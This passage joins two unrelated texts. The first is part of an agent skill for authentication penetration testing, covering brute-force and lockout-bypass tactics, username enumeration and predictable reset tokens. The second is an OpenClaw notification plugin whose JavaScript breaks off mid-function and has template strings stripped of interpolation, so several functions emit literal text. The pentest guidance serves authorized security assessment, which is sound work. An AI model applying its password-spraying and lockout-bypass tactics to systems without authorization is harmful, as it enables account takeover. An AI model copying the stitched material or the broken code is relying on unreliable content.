**WHY:** If the application allows unlimited login attempts, an automated attacker can try thousands of passwords per minute from a standard connection. Even the strongest password eventually falls. Brute-force resistance is a defense that protects all accounts simultaneously — its absence means that any username the attacker knows is eventually compromisable given sufficient time.
**AGENT: EXECUTES** (analysis) — HANDOFF TO HUMAN (actual login attempts via proxy.
**Breadth-first attack strategy (document for the report):** When targeting multiple usernames, iterate through the most common passwords once across all usernames rather than exhausting all passwords against one username. This discovers weak-password accounts faster and avoids triggering per-account lockout thresholds.
**Test session-based lockout bypass:**
- If lockout is triggered, obtain a fresh session token (visit the site without the `Cookie` header) and continue attempting the same account
- If the counter resets, the lockout is stored client-side and trivially bypassed
**Test whether lockout reveals credentials:**
- Submit the correct password against a locked account. If the application returns a different response than for an incorrect password, the lockout can be used to verify a guessed password even without logging in.
---
### Step 4: Test for Username Enumeration (Design Flaw: Verbose Failure Messages)
**ACTION:** Using a known valid username (your test account) and a known invalid username, submit failed login attempts and compare every aspect of the server's response: HTTP status code, response body text, response length, HTML source (including hidden elements and comments), redirect behavior, response timing. Repeat on: the main login, the password change form, the forgotten password form, and self-registration.
**WHY:** When an application distinguishes "username not found" from "wrong password," it enables an attacker to enumerate valid usernames automatically. A confirmed list of valid usernames dramatically accelerates brute-force attacks, targeted password guessing, phishing, and social engineering. The attacker no longer needs to guess both credentials simultaneously — they can confirm usernames first, then target only known-valid accounts.
**AGENT: EXECUTES** — Read and compare response contents when source code is available; analyze HTTP response diffs when traffic logs are provided.
**Subtle enumeration channels to check:**
- Typographical differences in supposedly identical error messages across different code paths
- Response length differences (even a single character difference counts)
- Timing differences — a valid username may trigger slower processing (database lookup, password hash computation) than an invalid one, creating a measurable timing oracle even when messages appear identical
- Self-registration: if the application rejects an already-registered username, registration is an enumeration oracle
---
### Step 5: Test Credential Transmission Security (Design Flaw: Vulnerable Credential Transmission)
**ACTION:** Perform a complete login while intercepting all traffic with a proxy. Verify that: (a) the login page itself is loaded over HTTPS (not just submitted over HTTPS), (b) credentials are submitted only in the POST body — not URL query parameters, not cookies, (c) credentials are not reflected back to the client in any response, (d) credentials are not stored in cookies.
**WHY:** Credentials submitted in URL query strings appear in: browser history, server access logs, and reverse proxy logs — any of which may be accessible to an attacker who compromises a related system. Loading the login form over HTTP allows a man-in-the-middle attacker to modify the form's action URL to HTTP before the user submits credentials, capturing them even when the submission itself is HTTPS. A common developer mistake is to load the page on HTTP "for performance" and only switch to HTTPS at submission — this is insufficient.
**AGENT: EXECUTES** — Grep source code for form action URLs, HTTP vs HTTPS checks, credential parameter names in query strings, cookie-setting on login.
**Check for these common vulnerabilities:**
- Login form loaded via HTTP, submitted via HTTPS (man-in-the-middle attack surface)
- Credentials passed as query string parameters in any redirect after login
- Credentials stored in cookies (even encrypted — replay attacks remain possible)
- Any transmission of a cleartext credential in any direction (including password field pre-population)
---
### Step 6: Assess Password Change Functionality (Design Flaw: Password Change Flaws)
**ACTION:** Locate the password change function (it may not be linked from obvious navigation). Make requests with: invalid usernames, invalid existing passwords, and mismatched "new password"/"confirm password" values. Test whether the function enforces the same brute-force protections as the main login. Check whether a hidden form field or cookie specifies the target username.
**WHY:** Password change functions frequently reintroduce vulnerabilities that were carefully avoided in the main login. Developers apply security rigor to the front door but leave side doors unguarded. A password change function that allows unlimited guesses of the "existing password" field is a second brute-force surface, often with weaker defenses. A function that identifies the user via a hidden form field (rather than the authenticated session) can be exploited to change another user's password.
**AGENT: EXECUTES** (code analysis) — HANDOFF TO HUMAN (interactive testing).
**Specific checks:**
- Is the function accessible without authentication? (It should not be.)
- Does it contain a username field (visible or hidden)? Attempt to supply a different username.
- Does it provide verbose error messages that reveal whether a username exists?
- Does it allow unlimited guesses of the existing password field?
- Does it check that new password and confirm password match before validating the existing password? (If yes, the response to a mismatch reveals whether the existing password was correct — a timing/logic oracle.)
---
### Step 7: Assess Account Recovery Functionality (Design Flaw: Forgotten Password Flaws)
**ACTION:** Walk through the complete forgotten password flow using an account you control. Test: whether the recovery challenge is brute-forcible, whether the recovery URL is predictable, whether the recovery mechanism discloses the existing password, whether the mechanism drops the user into an authenticated session without password verification.
**WHY:** Forgotten password mechanisms are frequently the weakest link in the overall authentication chain. Security questions have a far smaller answer space than passwords — "mother's maiden name" may have thousands of plausible values, not billions. Users set trivially guessable challenges ("Do I own a boat?"). Even well-designed challenge mechanisms are undermined if the account recovery step discloses the existing password or grants immediate authenticated access without credential verification.
**HANDOFF TO HUMAN** — Walkthrough requires interactive browser session with a test account.
**Check for these common weaknesses:**
- Brute-forcible challenge responses (no lockout on the forgotten password form)
- Password "hints" that reveal or heavily suggest the password value
- Recovery URL sent to an attacker-controlled email address (if the email address field is in a hidden form field or cookie, it can be modified)
- Recovery mechanism that discloses the existing forgotten password (attacker can repeat the challenge indefinitely to always know the current password)
- Recovery URL that is predictable from a sequence (analyze multiple recovery URLs using the same techniques as session token analysis)
- Immediate authenticated session granted upon challenge completion, without requiring password reset
---
### Step 8: Test "Remember Me" Functionality (Design Flaw: Remember-Me Flaws)
**ACTION:** Activate any "remember me" feature and inspect all persistent cookies and local storage that are set. Determine whether the cookie stores the username directly, a predictable session identifier, or a securely encrypted/random token. Attempt to modify the cookie value to impersonate another user.
**WHY:** Remember-me cookies that store a plaintext username (e.g., `RememberUser=alice`) authenticate the user based solely on the cookie value — bypassing password verification entirely. An attacker who enumerates valid usernames can construct valid remember-me cookies and log in as any user without knowing their password. Even encoded or encrypted cookies may be reverse-engineerable if the encoding is applied consistently across accounts.
**AGENT: EXECUTES** (cookie analysis in source code or traffic logs) — HANDOFF TO HUMAN (manipulation via proxy).
**Tests to perform:**
1. Does the remember-me cookie fully bypass password entry on return visit, or only pre-fill the username field? (The latter is much lower risk.)
2. Does the cookie contain a recognizable identifier (username, user ID, email)?
3. Does repeated "remembering" of similar usernames reveal a pattern in the cookie value?
4. Can the cookie be modified to contain another user's identifier, gaining access to their account?
---
### Step 9: Test for User Impersonation Functionality (Design Flaw: User Impersonation)
**ACTION:** Search for impersonation functionality that may not be linked from published navigation (e.g., `/admin/impersonate`, `/switch-user`). Test whether: the impersonation endpoint is accessible without administrative authentication, user-supplied parameters control which account is being impersonated, any login "backdoor password" exists that works across all accounts.
**WHY:** Impersonation functionality implemented as a hidden URL without access controls is effectively a complete authentication bypass — anyone who discovers the URL can access any user's account. Backdoor passwords for impersonation are discovered during brute-force attacks (they appear as a second "hit" matching multiple usernames) and expose every account in the application. If administrative accounts can be impersonated, the vulnerability escalates to full application compromise.
**AGENT: EXECUTES** (grep for impersonation routes, admin URLs, backdoor indicators in source) — HANDOFF TO HUMAN (interactive testing).
**Signs of backdoor password:** During password-guessing attacks, the same password successfully logs in to multiple different user accounts, or a brute-force attack produces two separate "hits" for a single account (one for the real password, one for the backdoor password).
---
### Step 10: Test Incomplete Credential Validation (Design Flaw: Incomplete Validation)
**ACTION:** Using an account you control, attempt login with: the password truncated by the last character, the password with a character changed from uppercase to lowercase (or vice versa), the password with special/typographic characters removed. If any of these succeeds, continue experimenting to characterize the exact validation behavior.
**WHY:** Applications that truncate passwords (validating only the first N characters) or perform case-insensitive comparison reduce the effective password space by orders of magnitude. A 12-character password truncated to 8 characters has the same effective strength as an 8-character password. Case-insensitive comparison halves the entropy per character. These limitations massively improve an attacker's chances in an automated attack once discovered, and they can be fed back into the attack to eliminate superfluous test cases.
---
### Step 11: Test for Nonunique and Predictable Usernames (Design Flaw: Username Issues)
**ACTION (Nonunique usernames):** If self-registration is available, attempt to register the same username twice with different passwords. If the second registration succeeds, test the collision behavior. If blocked, the registration form is an enumeration oracle — use it to enumerate existing usernames.
**ACTION (Predictable usernames):** If the application generates usernames automatically, register several accounts in quick succession and analyze the sequence. Extrapolate backward to infer a list of all existing usernames.
**WHY:** Nonunique usernames create a collision attack where an attacker can register a target username with a known password. If the application handles the collision by merging accounts, the attacker gains access to the original account's data. Predictable usernames eliminate the need for enumeration — the attacker already has a complete, high-confidence username list before making a single login attempt, enabling stealth brute-force attacks with minimal application interaction.
---
### Step 12: Test Fail-Open Login Logic (Implementation Flaw)
**ACTION:** Perform a complete valid login, recording every request parameter and cookie in both directions. Then repeat the login numerous times, each time modifying one parameter in unexpected ways: submit an empty string, remove the parameter entirely, submit an unexpectedly long value, submit a string where a number is expected, submit the same parameter multiple times with different values. For each malformed request, carefully compare the server's response against the baseline success and failure responses.
**WHY:** Fail-open logic occurs when an exception during login processing (null pointer, type mismatch, missing parameter) causes the application to bypass the authentication check and grant access. This flaw is invisible to behavioral testing of the happy path — it only manifests when unexpected input causes code to take an error-handling path that skips the credential validation logic. The most dangerous implementations are not obvious fail-opens like an empty catch block — they are complex multi-layered method calls where an exception at any point can propagate in an unexpected way.
**AGENT: EXECUTES** (code analysis for exception handling patterns, fail-open conditions) — HANDOFF TO HUMAN (malformed request submission via proxy).
**In source code, look for:**
- `try { /* login logic */ } catch (Exception e) { }` with subsequent authenticated-state code
- Login functions that return `true` (success) as a default, requiring explicit `false` to deny
- Missing null checks on the user object returned from credential lookup
---
### Step 13: Test Multistage Login Mechanisms (Implementation Flaw)
**ACTION:** Map every distinct stage of the login, documenting what data is collected and validated at each stage and what data is passed between stages (especially hidden form fields, cookies, and URL parameters). Test for: (a) stage skipping — proceeding directly to stage 3 without completing stage 2, (b) cross-user mixing — providing valid credentials for user A at stage 1 and valid credentials for user B at stage 2, (c) state manipulation — modifying hidden fields that encode login progress (e.g., `stage2complete=true`).
**WHY:** Multistage login mechanisms are commonly believed to be more secure than single-stage. In practice, the added complexity creates more opportunities for implementation error. The most dangerous class of flaw: an application validates the username at stage 1 but does not enforce that the same username is submitted at stage 2. An attacker with one user's password and another user's physical token can mix credentials across stages to authenticate as either user — partially defeating the entire multi-factor design at significant cost to the application owner.
**AGENT: EXECUTES** (code analysis for cross-stage data flow, server-side vs client-side state tracking) — HANDOFF TO HUMAN (stage manipulation via proxy).
**Critical check: client-side state tracking.** If login progress (which stages are complete) is tracked in hidden form fields or cookies rather than server-side session variables, an attacker can forge that state and advance directly to any stage.
---
### Step 14: Assess Credential Storage Security (Implementation Flaw)
**ACTION:** In white-box mode: examine the database schema and any ORM model for the users/accounts table. Identify the data type and any hashing configuration for the password field. Check whether salted, slow hashing algorithms are used (bcrypt, scrypt, Argon2, PBKDF2). In black-box mode: look for any authentication-related functionality that ever returns your password to you (password hints, welcome emails with your existing password, password change emails that include new or old passwords) — these behaviors indicate reversible storage.
**WHY:** Insecure credential storage means that a database breach (via SQL injection, access control weakness, or server compromise) produces immediately exploitable credentials. MD5 and SHA-1 hashes of common passwords are precomputed in online databases — cracking them takes milliseconds. Unsalted hashes allow identical passwords to be identified by their shared hash value, enabling mass cracking. Secure hashing (bcrypt, Argon2) with per-user salts means a breach produces hashes that require significant per-hash computation to crack — buying time for users to change passwords.
**AGENT: EXECUTES** — Grep source code for password hashing library usage; inspect schema files for password column definitions.
**Red flags in source code:**
- `MD5(password)`, `SHA1(password)`, or any fast hash without a salt
- Plaintext password comparison: `if (user.password == submitted_password)`
- Password retrieval functions (SELECT password FROM users WHERE ...) used outside administrative contexts
---
### Step 15: Document Findings and Map Countermeasures
**ACTION:** For each confirmed vulnerability, write a finding with: flaw category, CWE identifier, severity (Critical/High/Medium/Low), evidence (request/response or code snippet), and the specific countermeasure from the "Securing Authentication" framework. Produce a structured assessment report.
**WHY:** Findings without mapped countermeasures are incomplete — they tell the development team what is broken but not what to do about it. The countermeasure framework ensures recommendations are specific and actionable, not generic ("use strong passwords"). Linking to CWE identifiers enables teams to cross-reference OWASP testing guides and vendor security advisories.
**AGENT: EXECUTES** — Writes the assessment report to a file.
---
## Inputs
- Application login endpoint and any known authentication-related URLs
- HTTP proxy session / Burp Suite project file (black-box mode)
- Application source code — authentication handlers, session management, user model (white-box mode)
- Database schema or ORM model definitions (white-box mode, for storage analysis)
- Test account credentials with known password (for behavioral testing steps)
- Scope confirmation from the authorizing party
## Outputs
**Authentication Security Assessment Report** containing:
```
# Authentication Security Assessment — [Application Name]
Date: [date]
Assessor: [name/team]
Mode: [black-box | white-box | hybrid]
Scope: [authenticated surfaces tested]
## Executive Summary
[2-3 sentences: overall posture, highest severity finding, recommended priority]
## Findings
### [FINDING-001] [Flaw Name]
- CWE: CWE-XXX
- Severity: [Critical | High | Medium | Low]
- Surface: [main login | password change | account recovery | ...]
- Evidence: [request/response excerpt or code snippet]
- Countermeasure: [specific remediation]
[... repeat for each finding ...]
## Countermeasure Summary
[Table: Finding ID | Severity | Countermeasure | Priority]
## Attack Surface Coverage
[Table: Surface | Tested | Findings Count]
```
---
## Key Principles
- **Authentication is the front line — one break defeats all downstream controls.** Session management and access control depend on authentication to establish identity. An attacker who bypasses authentication bypasses every control built on top of it. This is why a medium-severity finding in authentication often has higher real-world impact than a critical-severity finding in a lower-value function.
- **Secondary functions introduce primary vulnerabilities.** Password change, forgotten password, and registration consistently reintroduce vulnerabilities that were carefully avoided in the main login. Developers apply security review to the main login and assume secondary functions are lower-risk. Assessors must give equal attention to every function that accepts or processes credentials.
- **Behavioral testing reveals design flaws; code analysis reveals implementation flaws.** No amount of happy-path behavioral testing will reveal a fail-open exception handler. No amount of code reading will tell you whether the timing difference between valid and invalid usernames is large enough to exploit. Both modes are necessary for complete coverage.
- **Account lockout bypass is often trivial — test it explicitly.** Client-side lockout counters (in cookies or hidden fields) can be reset by obtaining a fresh session. Session-based counters can sometimes be bypassed by rotating sessions before the threshold. The presence of a lockout UI message does not guarantee the lockout is enforced server-side for automated traffic.
- **Multistage complexity does not equal security.** The common assumption that more authentication stages means stronger security is wrong. Each additional stage adds complexity and introduces new opportunities for implementation error. Multistage mechanisms should be tested more rigorously than single-stage, not less — the design investment makes it especially important that the implementation is correct.
- **Enumerate all authentication surfaces before testing any of them.** An incomplete attack surface map means incomplete findings. Authentication weaknesses cluster in side-door functions (account recovery, impersonation) that are easy to miss during a time-limited assessment.
---
## Examples
**Scenario: Black-box penetration test of a financial services login**
Trigger: "We need a pentest of our banking portal login page before the Q2 launch."
Process:
1. Map authentication surfaces: main login (multistage: username + password + SMS OTP), forgotten password, password change, remember-me, no impersonation found.
2. Step 4 (username enumeration): Login with valid username + wrong password returns "Incorrect password." Login with invalid username returns "User not found." — confirmed username enumeration via verbose failure message (CWE-203). Repeated on forgotten password form: same enumeration exists there.
3. Step 3 (brute-force): 10 failed attempts — no lockout, no CAPTCHA. Counter stored in cookie `failedLogins=10`; deleting the cookie resets to 0. Brute-force fully possible (CWE-307).
4. Step 13 (multistage): Stage 2 (password) accepts the same username from stage 1 — but only from a hidden form field. Modifying the hidden field to a different username while keeping valid stage-1 data results in authentication as the hidden-field username — cross-stage identity substitution confirmed.
5. Step 5 (credential transmission): Login page loaded over HTTP, submitted over HTTPS — man-in-the-middle attack surface for form action modification.
Output: 4 findings (2 High, 1 Critical for stage-skip, 1 Medium), structured report with CWE mapping and countermeasures.
---
**Scenario: White-box security code review of a Node.js Express application**
Trigger: "Review our auth code before it goes to production. We're worried about the login and password reset."
Process:
1. Grep codebase for `password`, `bcrypt`, `hash`, `md5`, `sha1` — finds `crypto.createHash('md5').update(password).digest('hex')` in the user model. MD5 without salt confirmed (CWE-916).
2. Read forgotten password handler: generates a reset token as `Math.random()` — not cryptographically random, predictable token sequence (CWE-340, related to CWE-640).
3. Read login handler: `try { const user = await User.findOne({username, password: md5(password)}); res.json({success: true}); } catch(e) { res.json({success: true}); }` — fail-open: any exception during login returns success (CWE-287).
4. Read password change function: accessible without checking session authentication cookie — unauthenticated password change possible.
Output: 4 findings including 1 Critical (fail-open login), 1 High (unauthenticated password change), 1 High (MD5 unsalted storage), 1 Medium (predictable reset token).
---
**Scenario: Assessment of a forgotten password mechanism**
Trigger: "We're getting reports that users are being locked out of their accounts. Can you check if there's a security issue with our password reset flow?"
Process:
1. Walk through forgotten password flow with a test account: username → secret question → answer → password reset link emailed.
2. Step 7: Challenge brute-force — submit 50 incorrect answers to the security question with no lockout triggered. Security question is "What is your mother's maiden name?" — small answer space, publicly discoverable (CWE-640).
3. Inspect the recovery URL in the email: `https://app.example.com/reset?token=1738241` — sequential numeric token. Register two consecutive accounts, observe tokens 1738239 and 1738241, infer token 1738240 was issued to another user. Confirmed predictable recovery URL (CWE-340).
4. Test token reuse: recovery URL remains valid after use — an attacker who captures a recovery URL can use it repeatedly to take back control of the account.
Output: 3 findings (2 High, 1 Medium), with countermeasures specifying cryptographically random single-use time-limited recovery URLs and challenge brute-force lockout.
---
## References
- For countermeasure implementation details, see [securing-authentication.md](references/securing-authentication.md)
- For CWE and OWASP mapping per flaw category, see [authentication-cwe-mapping.md](references/authentication-cwe-mapping.md)
- Source: Stuttard, D. & Pinto, M. (2011). *The Web Application Hacker's Handbook* (2nd ed.), Chapter 6: "Attacking Authentication," pp. 159-201. Wiley.
## License
This skill is licensed under [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/).
Source: [BookForge](https://github.com/bookforge-ai/bookforge-skills) — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.
## Related BookForge Skills
This skill is standalone. Browse more BookForge skills: [bookforge-skills](https://github.com/bookforge-ai/bookforge-skills)
Send real-time alerts to NotiLens from any script, app, or AI agent — task lifecycle events, errors, completions, and metric tracking.
---
name: notilens
description: Send real-time alerts to NotiLens from any script, app, or AI agent — task lifecycle events, errors, completions, and metric tracking.
version: 0.2.0
metadata:
openclaw:
requires:
env:
- NOTILENS_TOKEN
- NOTILENS_SECRET
primaryEnv: NOTILENS_TOKEN
emoji: "🔔"
homepage: https://www.notilens.com
---
# NotiLens Plugin for OpenClaw
This is a **code plugin** — all functions are callable directly by the agent at runtime. No curl needed.
Get your `NOTILENS_TOKEN` and `NOTILENS_SECRET` from your topic settings at https://www.notilens.com.
## Available Functions
### `notify(name, event, message, options?)`
Send a notification. Title is auto-generated from `name + event`. Options: `type`, `image_url`, `open_url`, `download_url`, `tags`, `meta`.
### `track(name, event, message, type?, meta?)`
Track any custom event (e.g. `order.placed`, `deploy.started`). Title is auto-generated.
### `taskStarted(name, taskId, message?, meta?)`
Fire `task.started` when execution begins.
### `taskProgress(name, taskId, message, meta?)`
Fire `task.progress` at meaningful checkpoints.
### `taskCompleted(name, taskId, message, meta?)`
Fire `task.completed` when a task finishes successfully. Include `total_duration_ms`, `active_ms`, and custom metrics in `meta`.
### `taskFailed(name, taskId, message, meta?)`
Fire `task.failed` when a task fails. Automatically sets `is_actionable: true`.
### `taskError(name, taskId, message, meta?)`
Fire `task.error` for non-fatal errors (task continues).
### `taskRetry(name, taskId, retryCount, meta?)`
Fire `task.retry` when retrying. Pass the current retry number (1-based).
### `taskLoop(name, taskId, message, loopCount, meta?)`
Fire `task.loop` when the same step is repeating. Pass the current loop count.
### `inputRequired(name, message, openUrl?, meta?)`
Fire `input.required` when a human decision is needed. Automatically sets `is_actionable: true`.
## Recommended `meta` Fields
| Key | Description |
|--------------------|-------------|
| `run_id` | Unique run ID — format `run_{unix_ms}_{hex4}` |
| `total_duration_ms`| Wall-clock time from task start to now |
| `active_ms` | Active time (excludes pauses/waits) |
| `retry_count` | Number of retries so far |
| `error_count` | Number of non-fatal errors |
| `loop_count` | Number of loop iterations |
| `last_error` | Last error message string |
## Configuration
```
NOTILENS_TOKEN=your_topic_token
NOTILENS_SECRET=your_topic_secret
```
Both are found in your topic settings at https://www.notilens.com.
FILE:claw.json
{
"name": "notilens",
"version": "0.2.0",
"description": "Send alerts to NotiLens from any script, app, or AI agent — task lifecycle events, errors, completions, and metric tracking.",
"author": "notilens",
"license": "MIT",
"entry": "src/notilens.js",
"skills": [
{
"id": "genRunId",
"description": "Generate a unique run ID (run_{unix_ms}_{hex4}) to correlate all events from the same task execution. Call once at task start and include in meta.run_id on every event.",
"module": "src/notilens.js",
"export": "genRunId"
},
{
"id": "notify",
"description": "Send a notification to NotiLens. Pass name (source), event, message, and optional options (type, image_url, open_url, download_url, tags, meta). Title is auto-generated.",
"module": "src/notilens.js",
"export": "notify"
},
{
"id": "track",
"description": "Track any custom event (e.g. order.placed, deploy.started). Title is auto-generated. Type and meta are optional.",
"module": "src/notilens.js",
"export": "track"
},
{
"id": "task.queued",
"description": "Fire task.queued when a task is placed in a queue before a worker picks it up.",
"module": "src/notilens.js",
"export": "taskQueued"
},
{
"id": "task.started",
"description": "Fire task.started when execution begins. Include queue_ms in meta if the task was queued first.",
"module": "src/notilens.js",
"export": "taskStarted"
},
{
"id": "task.progress",
"description": "Fire task.progress at meaningful checkpoints during a long task. Include rows_done, percent, tokens_used, or other metrics in meta.",
"module": "src/notilens.js",
"export": "taskProgress"
},
{
"id": "task.paused",
"description": "Fire task.paused when the task is pausing (e.g. rate limit, waiting on I/O). Include pause_count and wait_reason in meta.",
"module": "src/notilens.js",
"export": "taskPaused"
},
{
"id": "task.waiting",
"description": "Fire task.waiting when the task is blocked on an external resource. Include wait_count and wait_reason in meta.",
"module": "src/notilens.js",
"export": "taskWaiting"
},
{
"id": "task.resumed",
"description": "Fire task.resumed after a pause or wait ends. Include pause_ms or wait_ms in meta.",
"module": "src/notilens.js",
"export": "taskResumed"
},
{
"id": "task.retry",
"description": "Fire task.retry when the task is being retried. Pass the current retry number (1-based) as retryCount.",
"module": "src/notilens.js",
"export": "taskRetry"
},
{
"id": "task.loop",
"description": "Fire task.loop when repeating the same step. Pass the current loop count. Backend ML handles detection.",
"module": "src/notilens.js",
"export": "taskLoop"
},
{
"id": "task.error",
"description": "Fire task.error for a non-fatal error — task continues after this. Include error_count and last_error in meta.",
"module": "src/notilens.js",
"export": "taskError"
},
{
"id": "task.completed",
"description": "Fire task.completed when a task finishes successfully. Include total_duration_ms, active_ms, and custom metrics in meta.",
"module": "src/notilens.js",
"export": "taskCompleted"
},
{
"id": "task.failed",
"description": "Fire task.failed when a task fails and will not be retried. Include retry_count, error_count, last_error, and total_duration_ms in meta.",
"module": "src/notilens.js",
"export": "taskFailed"
},
{
"id": "task.timeout",
"description": "Fire task.timeout when a task exceeds its time limit. Include total_duration_ms and time_limit_ms in meta.",
"module": "src/notilens.js",
"export": "taskTimeout"
},
{
"id": "task.cancelled",
"description": "Fire task.cancelled when a task is cancelled before completion.",
"module": "src/notilens.js",
"export": "taskCancelled"
},
{
"id": "task.stopped",
"description": "Fire task.stopped when a task is stopped intentionally (not an error).",
"module": "src/notilens.js",
"export": "taskStopped"
},
{
"id": "task.terminated",
"description": "Fire task.terminated when a task is forcibly terminated.",
"module": "src/notilens.js",
"export": "taskTerminated"
},
{
"id": "input.required",
"description": "Fire input.required when a human decision is needed to continue. Pass openUrl to link to an approval UI.",
"module": "src/notilens.js",
"export": "inputRequired"
},
{
"id": "input.approved",
"description": "Fire input.approved when a human approves the request.",
"module": "src/notilens.js",
"export": "inputApproved"
},
{
"id": "input.rejected",
"description": "Fire input.rejected when a human rejects the request.",
"module": "src/notilens.js",
"export": "inputRejected"
},
{
"id": "output.generated",
"description": "Fire output.generated when output is produced (file, report, result). Pass download_url, open_url, or image_url in meta.",
"module": "src/notilens.js",
"export": "outputGenerated"
},
{
"id": "output.failed",
"description": "Fire output.failed when expected output could not be produced.",
"module": "src/notilens.js",
"export": "outputFailed"
}
],
"permissions": {
"network": true,
"env": [
"NOTILENS_TOKEN",
"NOTILENS_SECRET"
]
},
"engines": {
"node": ">=18"
},
"tags": ["notifications", "monitoring", "alerts", "observability"]
}
FILE:openclaw.plugin.json
{
"id": "notilens",
"name": "notilens",
"description": "Send real-time alerts to NotiLens from any script, app, or AI agent.",
"entry": "src/notilens.js",
"exports": {
"genRunId": "src/notilens.js",
"notify": "src/notilens.js",
"track": "src/notilens.js",
"taskQueued": "src/notilens.js",
"taskStarted": "src/notilens.js",
"taskProgress": "src/notilens.js",
"taskPaused": "src/notilens.js",
"taskWaiting": "src/notilens.js",
"taskResumed": "src/notilens.js",
"taskRetry": "src/notilens.js",
"taskLoop": "src/notilens.js",
"taskError": "src/notilens.js",
"taskCompleted": "src/notilens.js",
"taskFailed": "src/notilens.js",
"taskTimeout": "src/notilens.js",
"taskCancelled": "src/notilens.js",
"taskStopped": "src/notilens.js",
"taskTerminated": "src/notilens.js",
"inputRequired": "src/notilens.js",
"inputApproved": "src/notilens.js",
"inputRejected": "src/notilens.js",
"outputGenerated": "src/notilens.js",
"outputFailed": "src/notilens.js"
},
"configSchema": {
"type": "object",
"properties": {
"token": {
"type": "string",
"description": "NotiLens topic token. Found in your topic settings at notilens.com."
},
"secret": {
"type": "string",
"description": "NotiLens topic secret. Found in your topic settings at notilens.com."
}
},
"required": ["token", "secret"]
}
}
FILE:package.json
{
"name": "notilens",
"version": "0.2.0",
"description": "NotiLens plugin for OpenClaw — send alerts from any script, app, or AI agent",
"main": "src/notilens.js",
"license": "MIT",
"engines": {
"node": ">=18"
},
"openclaw": {
"extensions": ["executes-code"],
"compat": {
"pluginApi": "1.0"
},
"build": {
"openclawVersion": "1.0.0"
}
}
}
FILE:src/notilens.js
'use strict';
const WEBHOOK_URL = 'https://hook.notilens.com/webhook/{token}/send';
const USER_AGENT = 'notilens-clawhub/0.2.0';
// ── Internals ─────────────────────────────────────────────────────────────────
function getCredentials() {
const token = process.env.NOTILENS_TOKEN;
const secret = process.env.NOTILENS_SECRET;
if (!token || !secret) {
throw new Error(
'NOTILENS_TOKEN and NOTILENS_SECRET environment variables are required. ' +
'Get them from your topic settings at https://www.notilens.com.'
);
}
return { token, secret };
}
async function _deliver(payload) {
const { token, secret } = getCredentials();
const url = WEBHOOK_URL.replace('{token}', token);
const res = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-NOTILENS-KEY': secret,
'User-Agent': USER_AGENT,
},
body: JSON.stringify({ ts: Date.now() / 1000, ...payload }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
throw new Error(
`NotiLens delivery failed: HTTP res.status — data.message || data.error || 'unknown error'`
);
}
return data;
}
function _meta(obj) {
return Object.keys(obj).length ? { meta: obj } : {};
}
// ── Helper ────────────────────────────────────────────────────────────────────
/**
* Generate a unique run ID to correlate all events from the same task execution.
* Format: run_{unix_ms}_{random_hex4}
* Include this in meta.run_id on every event for a given run.
*/
function genRunId() {
const hex = Math.floor(Math.random() * 0xffff).toString(16).padStart(4, '0');
return `run_Date.now()_hex`;
}
// ── Notify ────────────────────────────────────────────────────────────────────
/**
* Send a notification. Title is auto-generated from name + event.
*
* @param {string} name - Source name (app, script, agent, etc.)
* @param {string} event - Event name, e.g. "order.placed" or "disk.space.full"
* @param {string} message - Notification body text
* @param {object} [options] - type, image_url, open_url, download_url, tags, meta
*/
async function notify(name, event, message, options = {}) {
if (!event) throw new Error('event is required');
if (!message) throw new Error('message is required');
const { type = 'info', ...rest } = options;
return _deliver({
event,
title: `name | event`,
message,
type,
agent: name, // kept as "agent" for backend compatibility
...rest,
});
}
/**
* Track any custom event. Title is auto-generated from name + event.
* Use this for domain-specific events like "order.placed", "deploy.started", etc.
*
* @param {string} name
* @param {string} event - Any event string, e.g. "order.placed"
* @param {string} message - Notification body
* @param {string} [type] - "info" | "success" | "warning" | "urgent" (default: "info")
* @param {object} [meta] - Optional key-value pairs
*/
async function track(name, event, message, type = 'info', meta = {}) {
if (!event) throw new Error('event is required');
if (!message) throw new Error('message is required');
return _deliver({
event,
title: `name | event`,
message,
type,
agent: name, // kept as "agent" for backend compatibility
..._meta(meta),
});
}
// ── Task lifecycle ─────────────────────────────────────────────────────────────
/**
* Fire task.queued — task is queued before a worker picks it up.
*/
async function taskQueued(name, taskId, message = '', meta = {}) {
return _deliver({
event: 'task.queued',
title: `name | taskId | task.queued`,
message: message || `name | taskId queued`,
type: 'info',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.started — begins executing a task.
* @param {object} [meta] - run_id, queue_ms, etc.
*/
async function taskStarted(name, taskId, message = '', meta = {}) {
return _deliver({
event: 'task.started',
title: `name | taskId | task.started`,
message: message || `name | taskId started`,
type: 'info',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.progress — meaningful checkpoint during a long task.
* @param {object} [meta] - rows_done, percent, tokens_used, etc.
*/
async function taskProgress(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.progress');
return _deliver({
event: 'task.progress',
title: `name | taskId | task.progress`,
message,
type: 'info',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.paused — task is pausing (rate limit, waiting on I/O, etc.).
* @param {object} [meta] - pause_count, wait_reason, etc.
*/
async function taskPaused(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.paused');
return _deliver({
event: 'task.paused',
title: `name | taskId | task.paused`,
message,
type: 'warning',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.waiting — task is blocked on an external resource.
* @param {object} [meta] - wait_count, wait_reason, etc.
*/
async function taskWaiting(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.waiting');
return _deliver({
event: 'task.waiting',
title: `name | taskId | task.waiting`,
message,
type: 'warning',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.resumed — task resumed after a pause or wait.
* @param {object} [meta] - pause_ms, wait_ms, pause_count, wait_count
*/
async function taskResumed(name, taskId, message, meta = {}) {
if (!message) throw new Error('message is required for task.resumed');
return _deliver({
event: 'task.resumed',
title: `name | taskId | task.resumed`,
message,
type: 'info',
agent: name,
task_id: taskId,
..._meta(meta),
});
}
/**
* Fire task.retry — task is being retried after a failure.
* @param {number} retryCount - Current retry number (1-based)
* @param {object} [meta] - last_error, etc.
*/
async function taskRetry(name, taskId, retryCount, meta = {}) {
return _deliver({
event: 'task.retry',
title: `name | taskId | task.retry`,
message: `name | taskId retrying (attempt retryCount)`,
